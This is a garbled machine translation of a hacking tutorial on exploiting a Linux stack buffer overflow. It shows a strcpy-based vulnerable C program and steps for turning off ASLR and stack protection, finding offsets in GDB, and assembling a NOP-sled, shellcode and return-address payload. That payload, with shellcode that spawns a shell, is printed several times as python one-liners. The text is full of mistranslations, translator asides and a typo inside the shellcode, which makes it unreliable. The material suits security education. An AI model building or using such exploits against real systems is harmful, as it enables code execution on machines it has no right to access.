Chapter 1 Stack Overflow

Note: Before reading this article, it is best to have a certain foundation. The author of the original article will give you some tutorials. The translator I specifically found out the link for you (this resource is to be reviewed). The first is the series of video tutorials Assembly Language megatemer for Linux. http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-1316-system-organization.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-2316-polical-memory-organization.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-3316-gdb-usage-primer.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-4316-hello-world.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-5316-data-types.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-6316-moving-data.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-6316-working-with-strings.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-8316-unconditional-branching.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-9316-conditional-branching.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-10316-functions.mp4 http://videos.securitytube.net/Assembly-Primer-for-Hackers- (Part-11316-functions-stack.mp4 and then the ASM Basics http://www.corelan.be/index.php/ ... Ck-based-overflows/is related to GDB. http://www.gnu.org/software/gdb/documentation/ In this article, we will teach you how to implement a simple Linux-based stack overflow. Basic requirements: 1. Concept of buffer overflow 2. ASM basics and C/C ++ 3. Basic syntax for programming 4. Basic knowledge of GDB 5, if you do not have the development technology you need, you don't have to read it. This article is of little significance to you. Before getting started, I had to mention the Linux ASLR (directly reference Wikipedia Introduction ). http://en.wikipedia.org/wiki/Add ... Randomization # Linux), the first task before the start is to disable the ASLR that transmits integer values to/proc/sys/kernel/randomize_va_space. When we disable ASLR, let's start compiling apps with vulnerabilities. // I am a vulnerable thing. # include <stdio. h> # include <string. h> int main (int argc, char ** argv) {char buffer [500]; strcpy (buffer, argv [1]); // vulnerability Function ~ Return 0;} It is time to compile the code containing the vulnerability. Of course, the premise is that the protection measures are disabled. Well, let's just look at the figure. Let's take a look at what will be compiled under normal circumstances. After loading it in the debugger, the program will try to output and trigger buffer overflow. Well, by default, the gcc compiler 3. x and 4. during code compilation, Version x uses a stack-smashing protection, which is the default technology for all public versions of Linux ). This protection technology is used to detect malicious code in the buffer zone and stop it before execution. Do you remember the previous ASLR? This SSP (stack-smashing protection) first places a random small integer in the memory before the stack feedback pointer. We all know that the buffer overflows normally, the covered memory address is from low to high, so once the feedback pointer changes, it means that the overflow behavior has automatically overwritten the feedback pointer placed in the stack, that is, the small integer just mentioned. SSP stack hit protection only checks whether the small integer placed in the memory changes before the returned pointer uses the stack. If you add the "-fno-stack-protector" identifier during gcc compiler compilation, we can let the SSP stack crash protection and shut it down. Now we have prepared our overflow program again, execute it in GDB, and try to find the offset required to trigger overwrite. The essence of the "run" command is that we send data to GDB from the complete path of the current program (path here/root/vulnerable_1. We can see that we have successfully overwritten the EIP. Let's look at the registers. Maybe we can find something useful. Using info registers, we can see all our registers. Using x/ftm address, we can check a specific (ESP condition) Register, ESP also included our evil buffer zone, but what does it help us? Imagine if we can find this ESP address before the strcpy function runs... ### Note: strcpy looks at the vulnerability code given by the author above: char buffer [500]; strcpy (buffer, argv [1]); this part of the author has explained before and after, however, the operation is to make the reader understand the image directly, which is obviously not very easy to understand. I need to explain it here. Suppose there are 100 locations, and the program uses the strcpy function for overflow. during actual operation, we found that the program overflow started from 45th. The author means that before the program runs, we can use computing, intercept, or believe in various spring brothers. We know in advance that the program will overflow at 45th locations. The above example is easy to understand. The actual operation is shown in the author's figure, which is not easy. If you still don't understand it, go back to the beginning of this article and see the basics required to read this article. ###### For example, what can we get if we subtract 200 words from the ESP address we found ?! We can press the last 200 bytes of our buffer into the ESP address in the stack. If you still don't understand my ideas and what I'm talking about, I think you should look at the following chart:



Okay, now let's try to find the desired ESP address and subtract 200 bytes from it. First, run the list command under GDB to view the source code. In the vulnerability function of the source code, set a breakpoint. Then run the program normally and find the desired ESP address through the breakpoint we set. ### Translator's note: Let's take a look at the figure carefully. The author is your sister. get such a long article, in the key aspect of MD, go to the top of the image ##### so the ESP address is 0xbffff26c (it is best to perform this operation twice at least to record whether the address is the same for the two comparisons, the purpose is only for confirmation. If the breakpoint settings are incorrect, the address will be incorrect. At last, we subtract 200 bytes from the obtained ESP address, that is, 0xbffff26c-200 = 0xbffff06c (the former is in hexadecimal format, the latter is also in hexadecimal notation, with the center being in hexadecimal notation. Do not ask me if hexadecimal notation and decimal notation are used by the author to replace the main points. As a translator, I am very upset, I won't teach you how to add or subtract) Okay. Now we should know what the EIP addresses are, and we need 508 bytes to cover the EIP. So the next step is to build exploit, the exploit structure is as follows: \ x90 * 323 + SC (45 bytes) + ESP address * 35. Why is this structure designed? We can use a total of 508 bytes until the EIP overwrite ends, as shown in the following figure: the 323 bytes \ x90 repeat the junk content + 45 bytes of shellcode = 368 bytes in total, 508 bytes-368 bytes = 140 bytes. After we finish writing the shellcode, we still have the remaining 140 bytes. The next 140 bytes are divided into 35 parts in 4 bytes (for the applicable memory address, we can repeat it for 35 times using 4 bytes similar to \ x41 \ x41 \ x41 \ x41.) You may ask why I did this. As a result, you may find that the spam content is overwritten at the ESP end address, increasing the number of spam content. I will refute you in one sentence, that is, this exploit method is unreliable. You may use the same debugging program as mine, but what if someone else uses another debugger to run and debug my code? The stack will change, so it is unreliable. The above filling ends aims to make unreliable more reliable. Note: You may have to increase the time when the junk content or ESP address is multiplied. Have you noticed that we are missing something important? Shellcode! If you are too lazy to write your own shellcode, it doesn't matter. Here I provide you with a good script (for more details, see Appendix 1 ). \ X31 \ xc0 \ x83 \ xec \ x01 \ x88 \ x04 \ x24 \ x68 \ x62 \ x61 \ x73 \ x68 \ x68 \ x62 \ x69 \ x6e \ x2f \ x83 \ xec \ x01 \ xc6 \ x04 \ x24 \ x2f \ x89 \ xe6 \ x50 \ x56 \ xb0 \ x0b \ x89 \ xf3 \ x89 \ xel \ x31 \ xd2 \ xcd \ x80 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80 compile it, use it to execute the command you want to execute



Now we have completed all three parts of the three exploit. Let's take a look at our exploit: $ (python-c 'print "\ x90" * 323 + "\ x31 \ xc0 \ x83 \ xec \ x01 \ x88 \ x04 \ x24 \ x68 \ x62 \ x61 \ x73 \ x68 \ x68 \ x62 \ x69 \ x6e \ x2f \ x83 \ xec \ x01 \ xc6 \ x04 \ x24 \ x2f \ x89 \ xe6 \ x50 \ x56 \ xb0 \ x0b \ x89 \ xf3 \ x89 \ xe1 \ x31 \ xd2 \ xcd \ x80 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80 "+" \ x6c \ xf0 \ xff \ xbf "* 35') run it to see what will happen

It seems that you have encountered an error. It does not seem that you have fixed a certain and certain error. The EIP overwrites the correct address, but stops running unexpectedly... Let's find this address:

In this case, we need more nop commands to test them, and we need to change the content in exploit to better observe the operation of the program. $ (Python-c 'print "\ x90" * 370 + "\ x31 \ xc0 \ x83 \ xec \ x01 \ x88 \ x04 \ x24 \ x68 \ x62 \ x61 \ x73 \ x68 \ x68 \ x62 \ x69 \ x6e \ x2f \ x83 \ xec \ x01 \ xc6 \ x04 \ x24 \ x2f \ x89 \ xe6 \ x50 \ x56 \ xb0 \ x0b \ x89 \ xf3 \ x89 \ xe1 \ x31 \ xd2 \ xcd \ x80 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80 "+" \ x6c \ xf0 \ xff \ xbf "* 35') run exploit again this time, but there is still a small problem that our EIP overwrites this address 0x6cbffff0. Do you think you are familiar with it? We try to overwrite it. This is just a small problem. We just need to add more nop to fill it and then run it again. $ (Python-c 'print "\ x90" * 371 + "\ x31 \ xc0 \ x83 \ xec \ x01 \ x88 \ x04 \ x24 \ x68 \ x62 \ x61 \ x73 \ x68 \ x68 \ x62 \ x69 \ x6e \ x2f \ x83 \ xec \ x01 \ xc6 \ x04 \ x24 \ x2f \ x89 \ xe6 \ x50 \ x56 \ xb0 \ x0b \ x89 \ xf3 \ x89 \ xe1 \ x31 \ xd2 \ xcd \ x80 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80 "+" \ x6c \ xf0 \ xff \ xbf "* 35') now, exploit runs normally and implements the original functions. Author: sickn3ss from: http://sickness.tor.hu warning: the operation risk in the article is too high, according to the content of the test should be in the virtual machine environment